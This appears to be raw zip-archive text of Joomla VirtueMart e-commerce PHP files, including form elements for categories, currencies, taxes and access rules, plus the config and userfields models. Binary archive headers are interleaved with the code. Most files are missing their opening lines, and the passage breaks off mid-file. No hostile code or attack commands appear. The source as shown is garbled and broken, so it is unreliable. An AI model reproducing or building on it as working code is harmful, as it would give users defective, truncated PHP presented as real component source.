} else { $this->custom_price = null; } return parent::check(); } } PK@y>\u 3components/com_virtuemart/elements/vmcategories.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); VmConfig::loadJLang('com_virtuemart', false); $categorylist = ShopFunctions::categoryListTree(array($this->value)); $html = '"; return $html; } function fetchElement($name, $value, &$node, $control_name) { JPlugin::loadLanguage('com_virtuemart', JPATH_ADMINISTRATOR); $categorylist = ShopFunctions::categoryListTree(array($value)); $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $html = '"; return $html; } } if (JVM_VERSION === 2 ) { class JFormFieldVmCategories extends VmElementVmCategories { } } else { class JElementVmCategories extends VmElementVmCategories { } }PK@y>\Q:components/com_virtuemart/elements/vmmanufacturersmenu.phpnuW+AgetManufacturers(true, true, false); return JHTML::_('select.genericlist', $manufacturers, $control_name . '[' . $name . ']', '', $name, 'mf_name', $value, $control_name . $name); } }PK@y>\TʜE-components/com_virtuemart/elements/vmcurl.phpnuW+A\j5components/com_virtuemart/elements/vmproductsmenu.phpnuW+A_getProducts(), $control_name . '[' . $name . ']', '', 'value', 'text', $value, $control_name . $name); } private function _getProducts() { $productModel = VmModel::getModel('product'); $productModel->_noLimit = true; $products = $productModel->getProductListing(false, false, false, false, true,false); $productModel->_noLimit = false; $i = 0; $list = array(); foreach ($products as $product) { $list[$i]['value'] = $product->virtuemart_product_id; $list[$i]['text'] = $product->product_name. " (". $product->product_sku.")"; $i++; } return $list; } } PK@y>\3components/com_virtuemart/elements/vmcurrencies.phpnuW+AsetQuery($query); $currencies = $db->loadObjectList(); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $vendor_id = VirtueMartModelVendor::getLoggedVendor(); if (empty($value)) { $currency=VirtueMartModelVendor::getVendorCurrency ($vendor_id); $value= $currency->virtuemart_currency_id; } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return JHTML::_('select.genericlist', $currencies, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PK@y>\q'J3components/com_virtuemart/elements/vmweightunit.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return ShopFunctions::renderWeightUnitList( $control_name . '[' . $name . ']', $value); } }PK@y>\##7components/com_virtuemart/elements/vmjpluginwarning.phpnuW+Aload('com_virtuemart',JPATH_ADMINISTRATOR); $option = JRequest::getWord('option'); if ($option == 'com_virtuemart') return null; else return JText::_('COM_VIRTUEMART_PLUGIN_WARNING'); } }PK@y>\r񿠖3components/com_virtuemart/elements/vmorderstate.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $db = JFactory::getDBO (); $query = 'SELECT `order_status_code` AS value, `order_status_name` AS text FROM `#__virtuemart_orderstates` WHERE `virtuemart_vendor_id` = 1 ORDER BY `ordering` ASC '; $db->setQuery ($query); $fields = $db->loadObjectList (); foreach ($fields as $field) { $field->text= JText::_ ($field->text); } return JHTML::_ ('select.genericlist', $fields, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }PK@y>\lѓyy1components/com_virtuemart/elements/vmelements.phpnuW+A\eOI I 3components/com_virtuemart/elements/vmuploadfile.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' multiple="true" size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } } }PK@y>\5к.components/com_virtuemart/elements/vmtaxes.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return ShopFunctions::renderTaxList($value, $control_name . '[' . $name . ']', $class); // $class = 'multiple="true" size="10"'; // return JHTML::_('select.genericlist', $taxrates, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PK@y>\Bjq&&.components/com_virtuemart/elements/vmrules.phpnuW+Aelement['section'] ? (string) $this->element['section'] : ''; $component = $this->element['component'] ? (string) $this->element['component'] : ''; $assetField = $this->element['asset_field'] ? (string) $this->element['asset_field'] : 'asset_id'; // Get the actions for the asset. $actions = JAccess::getActions($component, $section); // Iterate over the children and add to the actions. foreach ($this->element->children() as $el) { if ($el->getName() == 'action') { $actions[] = (object) array('name' => (string) $el['name'], 'title' => (string) $el['title'], 'description' => (string) $el['description']); } } // Get the explicit rules for this asset. $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('id')); $query->from($db->quoteName('#__assets')); $query->where($db->quoteName('name') . ' = ' . $db->quote($component)); $db->setQuery($query); $assetId = (int) $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseNotice(500, $error); } // Full width format. // Get the rules for just this asset (non-recursive). $assetRules = JAccess::getAssetRules($assetId); // Get the available user groups. $groups = $this->getUserGroups(); // Build the form control. $curLevel = 0; // Prepare output $html = array(); $html[] = '
        '; $html[] = '
        '; $html[] = '

        ' . JText::_('JLIB_RULES_SETTINGS_DESC') . '

        '; $html[] = '
          '; // Start a row for each user group. foreach ($groups as $group) { $difLevel = $group->level - $curLevel; if ($difLevel > 0) { $html[] = '
          • '; } elseif ($difLevel < 0) { $html[] = str_repeat('
        • ', -$difLevel); } $html[] = '
        • '; $html[] = '
          '; $html[] = '

          '; $html[] = str_repeat('|– ', $curLevel = $group->level) . $group->text; $html[] = '

          '; $html[] = '
          '; $html[] = '
          '; $html[] = ''; $html[] = ''; $html[] = ''; $html[] = ''; $html[] = ''; // The calculated setting is not shown for the root group of global configuration. $canCalculateSettings = ($group->parent_id || !empty($component)); if ($canCalculateSettings) { $html[] = ''; } $html[] = ''; $html[] = ''; $html[] = ''; foreach ($actions as $action) { $html[] = ''; $html[] = ''; $html[] = ''; // Build the Calculated Settings column. // The inherited settings column is not displayed for the root group in global configuration. if ($canCalculateSettings) { $html[] = ''; } $html[] = ''; } $html[] = ''; $html[] = '
          '; $html[] = '' . JText::_('JLIB_RULES_ACTION') . ''; $html[] = ''; $html[] = '' . JText::_('JLIB_RULES_SELECT_SETTING') . ''; $html[] = ''; $html[] = '' . JText::_('JLIB_RULES_CALCULATED_SETTING') . ''; $html[] = '
          '; $html[] = ''; $html[] = ''; //$html[] = $this->formControl.'-'.$this->fieldname; $this->name = $this->formControl.'[rules]'; $html[] = '  '; // If this asset's rule is allowed, but the inherited rule is deny, we have a conflict. if (($assetRule === true) && ($inheritedRule === false)) { $html[] = JText::_('JLIB_RULES_CONFLICT'); } $html[] = ''; // This is where we show the current effective settings considering currrent group, path and cascade. // Check whether this is a component or global. Change the text slightly. if (JAccess::checkGroup($group->value, 'core.admin', $assetId) !== true) { if ($inheritedRule === null) { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED') . ''; } elseif ($inheritedRule === true) { $html[] = '' . JText::_('JLIB_RULES_ALLOWED') . ''; } elseif ($inheritedRule === false) { if ($assetRule === false) { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED') . ''; } else { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED_LOCKED') . ''; } } } elseif (!empty($component)) { $html[] = '' . JText::_('JLIB_RULES_ALLOWED_ADMIN') . ''; } else { // Special handling for groups that have global admin because they can't be denied. // The admin rights can be changed. if ($action->name === 'core.admin') { $html[] = '' . JText::_('JLIB_RULES_ALLOWED') . ''; } elseif ($inheritedRule === false) { // Other actions cannot be changed. $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT') . ''; } else { $html[] = '' . JText::_('JLIB_RULES_ALLOWED_ADMIN') . ''; } } $html[] = '
          '; $html[] = '
          '; $html[] = '
        • '; } $html[] = str_repeat('
        ', $curLevel); $html[] = '
        '; if ($section == 'component' || $section == null) { $html[] = JText::_('JLIB_RULES_SETTING_NOTES'); } else { $html[] = JText::_('JLIB_RULES_SETTING_NOTES_ITEM'); } $html[] = '
        '; $js = "window.addEvent('domready', function(){ new Fx.Accordion($$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel h3.pane-toggler')," . "$$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel div.pane-slider'), {onActive: function(toggler, i) {toggler.addClass('pane-toggler-down');" . "toggler.removeClass('pane-toggler');i.addClass('pane-down');i.removeClass('pane-hide');Cookie.write('jpanesliders_permissions-sliders-".$section . $component . "',$$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel h3').indexOf(toggler));}," . "onBackground: function(toggler, i) {toggler.addClass('pane-toggler');toggler.removeClass('pane-toggler-down');i.addClass('pane-hide');" . "i.removeClass('pane-down');}, duration: 300, display: " . JRequest::getInt('jpanesliders_permissions-sliders' . $component, 0, 'cookie') . ", show: " . JRequest::getInt('jpanesliders_permissions-sliders' . $component, 0, 'cookie') . ", alwaysHide:true, opacity: false}); });"; JFactory::getDocument()->addScriptDeclaration($js); return implode("\n", $html); } } PK@y>\1 q -components/com_virtuemart/elements/vmfile.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PK@y>\/+##.components/com_virtuemart/elements/vmtitle.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); if (empty($class)) { $class.="style=\"margin: 10px 0 5px 0; font-weight: bold; padding: 5px; background-color: #cacaca; float:none; clear:both;\""; } $description = ($node->attributes('description') ? JText::_($node->attributes('description')) : ''); $html = ''; if ($value) { $html .= '
        '; $html .= JText::_($value); $html .= '
        '; if ($description){ $html .= $description.'
        '; } } else { $html .= '
        '.$description.'
        '; } return $html; } }PK@y>\vwOO3components/com_virtuemart/elements/vmvendormenu.phpnuW+AgetVendors(true, true, false); return JHTML::_('select.genericlist', $vendors, $control_name . '[' . $name . ']', '', $name, 'vendor_name', $value, $control_name . $name); } } PK@y>\u5 .components/com_virtuemart/elements/vmfiles.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' multiple="true" size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PK@y>\Y7 9components/com_virtuemart/elements/vmacceptedcurrency.phpnuW+AsetQuery($q); $vendor_currency = $db->loadAssoc(); if (!$vendor_currency['vendor_accepted_currencies']) { $vendor_currency['vendor_accepted_currencies'] = $vendor_currency['vendor_currency']; } $q = 'SELECT `virtuemart_currency_id` AS value ,CONCAT_WS(" ",`currency_name`,`currency_symbol`) as text FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` IN (' . $vendor_currency['vendor_accepted_currencies'] . ') and (`virtuemart_vendor_id` = "' . $vendorId . '" OR `shared`="1") AND published = "1" ORDER BY `ordering`,`currency_name`'; $db->setQuery($q); $currencies = $db->loadObjectList(); $options = array(); $options[] = array( 'value' => 0 ,'text' =>JText::_('COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY')); if (!is_array($currencies)) { $currencies=(array)$currencies; } foreach ($currencies as $currency){ $options[] = array( 'value' => $currency->value ,'text' =>$currency->text); } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return JHTML::_('select.genericlist', $options, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }PK@y>\-components/com_virtuemart/elements/index.htmlnuW+APK@y>\8*rr2components/com_virtuemart/elements/vmcountries.phpnuW+AsetQuery($query); $fields = $db->loadObjectList(); $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class = 'multiple="true" size="10" '; return JHTML::_('select.genericlist', $fields, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PK@y>\K(7components/com_virtuemart/elements/vmcategoriesmenu.phpnuW+A'; $html .= ''; $html .= $categorylist; $html .=""; return $html; } } PK@y>\),components/com_virtuemart/elements/.htaccessnuW+A Order allow,deny Deny from all PK@y>\*G D D+components/com_virtuemart/models/config.phpnuW+AgetTemplate();vmdebug('template',$tplpath); if (JVM_VERSION === 2) { $q = 'SELECT `template` FROM `#__template_styles` WHERE `client_id` ="0" AND `home`="1" '; } else { $q = 'SELECT `template` FROM `#__templates_menu` WHERE `client_id` ="0" '; } $db = JFactory::getDBO(); $db->setQuery($q); $tplnames = $db->loadResult(); if($tplnames){ if(is_dir(JPATH_ROOT.DS.'templates'.DS.$tplnames.DS.'html'.DS.'com_virtuemart'.DS.$view)){ $dirs[] = JPATH_ROOT.DS.'templates'.DS.$tplnames.DS.'html'.DS.'com_virtuemart'.DS.$view; } } $result = array(); $emptyOption = JHTML::_('select.option', '0', JText::_('COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE')); $result[] = $emptyOption; $alreadyAddedFile = array(); foreach($dirs as $dir){ if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if(!empty($file) and strpos($file,'.')!==0 and strpos($file,'_')==0 and $file != 'index.html' and !is_Dir($file)){ //Handling directly for extension is much cleaner $path_info = pathinfo($file); if(empty($path_info['extension'])){ vmError('Attention file '.$file.' has no extension in view '.$view.' and directory '.$dir); $path_info['extension'] = ''; } if ($path_info['extension'] == 'php' && !in_array($file,$alreadyAddedFile)) { $alreadyAddedFile[] = $file; //There is nothing to translate here // $result[] = JHTML::_('select.option', $file, $path_info['filename']); $result[] = JHTML::_('select.option', $path_info['filename'], $path_info['filename']); } } } } } return $result; } /** * Retrieve a list of available fonts to be used with PDF Invoice generation & PDF Product view on FE * * @author Nikos Zagas * @return object List of available fonts */ function getTCPDFFontsList() { $dir = JPATH_ROOT.DS.'libraries'.DS.'tcpdf'.DS.'fonts'; $result = array(); if(function_exists('glob')){ $specfiles = glob($dir.DS."*_specs.xml"); } else { $specfiles = array(); $manual = array('courier_specs.xml','freemono_specs.xml','helvetica_specs.xml'); foreach($manual as $file){ if(file_exists($dir.DS.$file)){ $specfiles[] = $dir.DS.$file; } } } foreach ($specfiles as $file) { $fontxml = @simpleXML_load_file($file); if ($fontxml) { if (file_exists($dir . DS . $fontxml->filename . '.php')) { $result[] = JHTML::_('select.option', $fontxml->filename, JText::_($fontxml->fontname.' ('.$fontxml->fonttype.')')); } else { vmError ('A font master file is missing: ' . $dir . DS . $fontxml->filename . '.php'); } } else { vmError ('Wrong structure in font XML file: '. $dir . DS . $file); } } return $result; } /** * Retrieve a list of possible images to be used for the 'no image' image. * * @author RickG * @author Max Milbers * @return object List of image objects */ function getNoImageList() { //TODO set config value here $dirs[] = JPATH_ROOT.DS.'components'.DS.'com_virtuemart'.DS.'assets'.DS.'images'.DS.'vmgeneral'; $tplpath = VmConfig::get('vmtemplate',0); if(!empty($tplpath) and is_numeric($tplpath)){ $db = JFactory::getDbo(); $query = 'SELECT `template`,`params` FROM `#__template_styles` WHERE `id`="'.$tplpath.'" '; $db->setQuery($query); $res = $db->loadAssoc(); if($res){ $registry = new JRegistry; $registry->loadString($res['params']); $tplpath = $res['template']; } } if($tplpath){ if(is_dir(JPATH_ROOT.DS.'templates'.DS.$tplpath.DS.'images'.DS.'vmgeneral')){ $dirs[] = JPATH_ROOT.DS.'templates'.DS.$tplpath.DS.'images'.DS.'vmgeneral'; } } $result = ''; foreach($dirs as $dir){ if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && $file != '.svn' && $file != 'index.html') { if (filetype($dir.DS.$file) != 'dir') { $result[] = JHTML::_('select.option', $file, JText::_(str_replace('.php', '', $file))); } } } } } return $result; } /** * Retrieve a list of currency converter modules from the plugins directory. * * @author RickG * @return object List of theme objects */ function getCurrencyConverterList() { $dir = JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'; $result = ''; if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && $file != '.svn') { $info = pathinfo($file); if ((filetype($dir.DS.$file) == 'file') && ($info['extension'] == 'php')) { $result[] = JHTML::_('select.option', $file, JText::_($file)); } } } } return $result; } /** * Retrieve a list of modules. * * @author RickG * @return object List of module objects */ function getModuleList() { $db = JFactory::getDBO(); $query = 'SELECT `module_id`, `module_name` FROM `#__virtuemart_modules` '; $query .= 'ORDER BY `module_id`'; $db->setQuery($query); return $db->loadObjectList(); } /** * Retrieve a list of Joomla content items. * * @author RickG * @return object List of content objects */ function getContentLinks() { $db = JFactory::getDBO(); $query = 'SELECT `id`, CONCAT(`title`, " (", `title_alias`, ")") AS text FROM `#__content` '; $query .= 'ORDER BY `id`'; $db->setQuery($query); return $db->loadObjectList(); } /* * Get the joomla list of languages */ function getActiveLanguages($active_languages) { $activeLangs = array() ; $language =JFactory::getLanguage(); $jLangs = $language->getKnownLanguages(JPATH_BASE); foreach ($jLangs as $jLang) { $jlangTag = strtolower(strtr($jLang['tag'],'-','_')); $activeLangs[] = JHTML::_('select.option', $jLang['tag'] , $jLang['name']) ; } return JHTML::_('select.genericlist', $activeLangs, 'active_languages[]', 'size=10 multiple="multiple" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_NOTMULTILINGUAL').'"', 'value', 'text', $active_languages );// $activeLangs; } /** * Retrieve a list of preselected and existing search or order By Fields * $type = 'browse_search_fields' or 'browse_orderby_fields' * @author Kohl Patrick * @return array of order list */ function getProductFilterFields( $type ) { $searchChecked = VmConfig::get($type) ; if (!is_array($searchChecked)) { $searchChecked = (array)$searchChecked; } if($type!='browse_cat_orderby_field'){ $searchFieldsArray = ShopFunctions::getValidProductFilterArray (); if($type=='browse_search_fields'){ if($key = array_search('pc.ordering',$searchFieldsArray)){ unset($searchFieldsArray[$key]); } } } else { $searchFieldsArray = array('category_name','category_description','cx.ordering','c.published'); } $searchFields= new stdClass(); $searchFields->checkbox ='
          '; foreach ($searchFieldsArray as $key => $field ) { if (in_array($field, $searchChecked) ) { $checked = 'checked="checked"'; } else { $checked = ''; } $fieldWithoutPrefix = $field; $dotps = strrpos($fieldWithoutPrefix, '.'); if($dotps!==false){ $prefix = substr($field, 0,$dotps+1); $fieldWithoutPrefix = substr($field, $dotps+1); } $text = JText::_('COM_VIRTUEMART_'.strtoupper($fieldWithoutPrefix)) ; if ($type == 'browse_orderby_fields' or $type == 'browse_cat_orderby_field'){ $searchFields->select[] = JHTML::_('select.option', $field, $text) ; } $searchFields->checkbox .= '
        • '; } $searchFields->checkbox .='
        '; return $searchFields; } /** * Save the configuration record * * @author Max Milbers * @return boolean True is successful, false otherwise */ function store(&$data,$replace = FALSE) { vRequest::vmCheckToken(); //$data['active_languages'] = strtolower(strtr($data['active_languages'],'-','_')); //ATM we want to ensure that only one config is used $config = VmConfig::loadConfig(TRUE); if(!self::checkConfigTableExists()){ VmConfig::installVMconfig(false); } $browse_cat_orderby_field = $config->get('browse_cat_orderby_field'); $cat_brws_orderby_dir = $config->get('cat_brws_orderby_dir'); $config->setParams($data,$replace); $confData = array(); $query = 'SELECT * FROM `#__virtuemart_configs`'; $this->_db->setQuery($query); if($this->_db->loadResult()){ $confData['virtuemart_config_id'] = 1; } else { $confData['virtuemart_config_id'] = 0; } $urls = array('assets_general_path','media_category_path','media_product_path','media_manufacturer_path','media_vendor_path'); foreach($urls as $urlkey){ $url = trim($config->get($urlkey)); $length = strlen($url); if(strrpos($url,'/')!=($length-1)){ $config->set($urlkey,$url.'/'); vmInfo('Corrected media url '.$urlkey.' added missing /'); } } //If empty it is not sent by the form, other forms do it by using a table to store, //the config is like a big xparams and so we check some values for this form manually /*$toSetEmpty = array('active_languages','inv_os','email_os_v','email_os_s'); foreach($toSetEmpty as $item){ if(!isset($data[$item])) { $config->set($item,array()); } }*/ $checkCSVInput = array('pagseq','pagseq_1','pagseq_2','pagseq_3','pagseq_4','pagseq_5'); foreach($checkCSVInput as $csValueKey){ $csValue = $config->get($csValueKey); if(!empty($csValue)){ $sequenceArray = explode(',', $csValue); foreach($sequenceArray as &$csV){ $csV = (int)trim($csV); } $csValue = implode(',',$sequenceArray); $config->set($csValueKey,$csValue); } } $safePath = trim($config->get('forSale_path')); if(!empty($safePath)){ if(DS!='/' and strpos($safePath,'/')!==false){ $safePath=str_replace('/',DS,$safePath); vmInfo('Corrected safe path, replaced / by '.DS); vmdebug('$safePath',$safePath); } $length = strlen($safePath); if(strrpos($safePath,DS)!=($length-1)){ $safePath = $safePath.DS; vmInfo('Corrected safe path, added missing '.DS); } $config->set('forSale_path',$safePath); } else { $safePath = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'vmfiles'; $exists = JFolder::exists($safePath); if(!$exists){ $created = JFolder::create($safePath); $safePath = $safePath.DS; if($created){ vmInfo('COM_VIRTUEMART_SAFE_PATH_DEFAULT_CREATED',$safePath); /* create htaccess file */ $fileData = "order deny, allow\ndeny from all\nallow from none"; JLoader::import('joomla.filesystem.file'); $fileName = $safePath.DS.'.htaccess'; $result = JFile::write($fileName, $fileData); if (!$result) { VmWarn('COM_VIRTUEMART_HTACCESS_DEFAULT_NOT_CREATED',$safePath,$fileData); } $config->set('forSale_path',$safePath); } else { VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')); } } } if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $safePath = shopFunctions::checkSafePath($safePath); if(!empty($safePath)){ $exists = JFolder::exists($safePath.'invoices'); if(!$exists){ $created = JFolder::create($safePath.'invoices'); if($created){ vmInfo('COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED'); } else { VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')); } } } if(!$config->get('active_languages',false)){ $confData['active_languages'] = array(VmConfig::$langTag); } $confData['config'] = $config->toString(); $confTable = $this->getTable('configs'); if (!$confTable->bindChecknStore($confData)) { vmError($confTable->getError()); } // Load the newly saved values into the session. $config = VmConfig::loadConfig(true); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $result = $updater->createLanguageTables(); /* This conditions is not enough, if the language changes we need to recall the cache. $newbrowse_cat_orderby_field = $config->get('browse_cat_orderby_field'); $newcat_brws_orderby_dir = $config->get('cat_brws_orderby_dir'); if($browse_cat_orderby_field!=$newbrowse_cat_orderby_field or $newcat_brws_orderby_dir!=$cat_brws_orderby_dir){ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); }*/ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); $cache = JFactory::getCache('com_virtuemart_rss','callback'); $cache->clean(); $cache = JFactory::getCache('convertECB','callback'); $cache->clean(); $cache = JFactory::getCache('_virtuemart'); $cache->clean(); $cache = JFactory::getCache('com_plugins'); $cache->clean(); $cache = JFactory::getCache('_system'); $cache->clean(); $cache = JFactory::getCache('page'); $cache->clean(); return true; } public static function checkConfigTableExists(){ $db = JFactory::getDBO(); $query = 'SHOW TABLES LIKE "'.$db->getPrefix().'virtuemart_configs"'; $db->setQuery($query); $configTable = $db->loadResult(); $err = $db->getErrorMsg(); if(!empty($err) or !$configTable){ return false; } else { return true; } } static public function checkVirtuemartInstalled(){ $db = JFactory::getDBO(); $query = 'SHOW TABLES LIKE "'.$db->getPrefix().'virtuemart%"'; $db->setQuery($query); $vmTables = $db->loadColumn(); $err = $db->getErrorMsg(); if(!empty($err) or !$vmTables or count($vmTables)<2){ return false; } else { return true; } } /** * Dangerous tools get disabled after execution an operation which needed that rights. * This is the function actually doing it. * * @author Max Milbers */ function setDangerousToolsOff(){ if(self::checkConfigTableExists()){ $dangerousTools = VmConfig::readConfigFile(true); if( $dangerousTools){ $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $lang = JText::sprintf('COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED',JText::_('COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS'),$link); VmInfo($lang); } else { $data['dangeroustools'] = 0; $data['virtuemart_config_id'] = 1; $this->store($data); } } } public function remove() { $table = $this->getTable('configs'); $id = 1; if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError(),'Cannot delete config'); return false; } return true; } /** * This function deletes a config stored in the database * * @author Max Milbers */ function deleteConfig(){ if($this->remove()){ return VmConfig::loadConfig(true,true); } else { return false; } } } //pure php no closing tagPK@y>\2/components/com_virtuemart/models/userfields.phpnuW+Afieldname with formfields that are saved as parameters */ var $reqParam; // stAn, this variable is a cached result of getUserFields // where array key is $cache_hash = md5($sec.serialize($_switches).serialize($_skip).$this->_selectedOrdering.$this->_selectedOrderingDir); static $_cache_ordered; // this variable is a cached result of named fields of last call of getUserFields where the key is $_sec of the function ('registration', 'account', 'shipping'.. etc...) // example $_cached_named['registration']['email'] static $_cache_named; // *** code for htmlpurifier *** // var $htmlpurifier = ''; /** * constructs a VmModel * setMainTable defines the maintable of the model * @author Max Milbers */ function __construct() { parent::__construct('virtuemart_userfield_id'); $this->setMainTable('userfields'); $this->setToggleName('required'); $this->setToggleName('registration'); $this->setToggleName('shipment'); $this->setToggleName('account'); // Instantiate the Helper class $this->_params = new ParamHelper(); self::$_cache_ordered = null; self::$_cache_named = array(); // Form fields that must be translated to parameters $this->reqParam = array ( 'age_verification' => 'minimum_age' ,'euvatid' => 'virtuemart_shoppergroup_id' ,'webaddress' => 'webaddresstype' ); $this->_selectedOrdering = 'ordering'; $this->_selectedOrderingDir = 'ASC'; } /** * Prepare a user field for database update */ public function prepareFieldDataSave($field, &$data) { // $post = JRequest::get('post'); $fieldType = $field->type; $fieldName = $field->name; $value = $data[$field->name]; $params = $field->params; if(!class_exists('vmFilter'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmfilter.php'); switch(strtolower($fieldType)) { case 'webaddress': if (isset($post[$fieldName."Text"]) && ($post[$fieldName."Text"])) { 